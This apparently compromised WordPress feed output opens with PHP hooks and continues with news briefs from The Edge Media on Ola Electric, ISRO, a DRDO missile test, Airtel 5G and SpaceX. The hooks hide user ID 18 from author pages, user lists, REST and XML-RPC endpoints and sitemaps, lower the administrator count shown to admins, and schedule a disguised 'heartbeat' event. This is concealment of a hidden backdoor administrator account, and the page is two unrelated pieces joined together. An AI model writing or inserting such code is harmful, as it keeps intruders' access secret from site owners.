add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Ola Electric To Launch Their New Car In Two Years appeared first on The Edge Media.
]]>The business also demonstrated a self-driving cart that employs LiDAR, or light detection and ranging technology, at its 500-acre electric two-wheeler production plant in Pochampalli, Tamil Nadu.
The post Ola Electric To Launch Their New Car In Two Years appeared first on The Edge Media.
]]>The post Former ISRO Chairman Madhavan Nair was Startled at the Failure of a Satellite Launch appeared first on The Edge Media.
]]>The performance of the first and second stages was normal, according to the space agency. However, due to a technical glitch, the Cryogenic Upper Stage did not ignite. The task could not be finished on time.
Mr. Nair, who served as ISRO Chairman for six years beginning in 2003 and completed 25 successful missions, said that setbacks like this are common and that ISRO should not lose hope.
The post Former ISRO Chairman Madhavan Nair was Startled at the Failure of a Satellite Launch appeared first on The Edge Media.
]]>The post India has Passed the Test: Indigenous Technology Cruise Missile produced by the DRDO appeared first on The Edge Media.
]]>According to sources, the missile flew for 150 kilometers using an indigenous cruise engine. More tests will be carried out in the near future.
On July 23, an indigenously produced New Generation Akash Missile (Akash-NG), a Surface to Air Missile defense system, was successfully test-fired at Balasore. The 30km strike-range air defense missile systems were tested for the second time in two days.
The post India has Passed the Test: Indigenous Technology Cruise Missile produced by the DRDO appeared first on The Edge Media.
]]>The post Bharti Airtel To Collaborate With Intel For 5G Network appeared first on The Edge Media.
]]>Airtel would be the first telecom provider in India to showcase 5G on a Network node, and it is now undertaking 5G trials in key cities.
Airtel will use Intel’s newest third-generation Xeon Scalable processor, FPGAs, and ASICs, and Ethernet 800 series across its network to provide the groundwork for large-scale 5G, mobile edge computing, and network slicing deployments.
The post Bharti Airtel To Collaborate With Intel For 5G Network appeared first on The Edge Media.
]]>The post A New UI Will Be Added To Whatsapp Soon appeared first on The Edge Media.
]]>The most recent WhatsApp beta version featured a new calling UI that appears to be influenced by FaceTime. Toggles are more visible in the new UI, with a brilliant white colour scheme. Toggles in the previous edition were tinted grey, making it difficult to discern whether something was switched on or off at first glance.
The end call button has been moved to the bottom row, next to the sound, mic, and video toggles.
The post A New UI Will Be Added To Whatsapp Soon appeared first on The Edge Media.
]]>The post Google Meet To Put Time Restrictions On Free Video Call Users appeared first on The Edge Media.
]]>To hold limitless group video conversations with three or more people, Google Workspace users will now need to subscribe to a premium account. Google Meet’s regulations have been modified to state that basic Gmail accounts can now hold a group call with three or more attendees for no more than 60 minutes at a time.
The post Google Meet To Put Time Restrictions On Free Video Call Users appeared first on The Edge Media.
]]>The post Here’s how you can add lines and grids in the Notes app on iPhone and iPad appeared first on The Edge Media.
]]>Apple replaced the ruler feature with a set of lines and grids and made it easy for a user to draw straight lines, write information, create vector sketches, and much more. Apple’s in-built Notes app and Apple pencil is an excellent combination for writing or drawing notes or creating doodles.
Here’s how you can add lines and grids in the Notes app on iPhone and iPad:
Despite the different sizes of screens, users can follow the same set of instructions to add a background for the iPhone and iPad. You can follow these steps by adding lines and grids in the Notes app.
Step 1: Open a new blank page in the Notes App and tap the three encircled dots present in the top-right corner. Now, tap the ‘Lines & Grids’ option and select the style.
Step 2: You can tap on the background of your choice to add it to the document. The background will be independent of the content that you will draw.
Step 3: You will see that the selected lines and grid will be added to the page. You can always remove the lines and grid when you don’t find it necessary.
Users also have an option to add or change lines or grids on an existing page. This is helpful when you have to combine various types of written data on a note. For instance, while using lines to write text, you can jump to a grid to make a graph and again come back to lines to continue your writing.
Here’s how you can set a line or grid as the default note:
Users can set a line or grid as the default note style in the Notes app on iPhone and iPad. You don’t have to select a new line or grid for each note if you are likely to use the same in the Notes app. Follow these steps:
Step 1: Go to the Settings app on iPhone or iPad and tap on Notes.
Step 2: Now, tap Lines & Grid and then select a style of line or grid. All your new notes will be launched in that style.
The post Here’s how you can add lines and grids in the Notes app on iPhone and iPad appeared first on The Edge Media.
]]>The post SpaceX Launches More Than 80 Satellites Into Space appeared first on The Edge Media.
]]>The flight was also SpaceX’s second launch from Florida to polar orbit. This was the company’s 20th launch of the year, and the rocket’s first stage booster’s eighth flight. That rocket landed roughly ten minutes later at SpaceX’s Landing Zone 1.
The post SpaceX Launches More Than 80 Satellites Into Space appeared first on The Edge Media.
]]>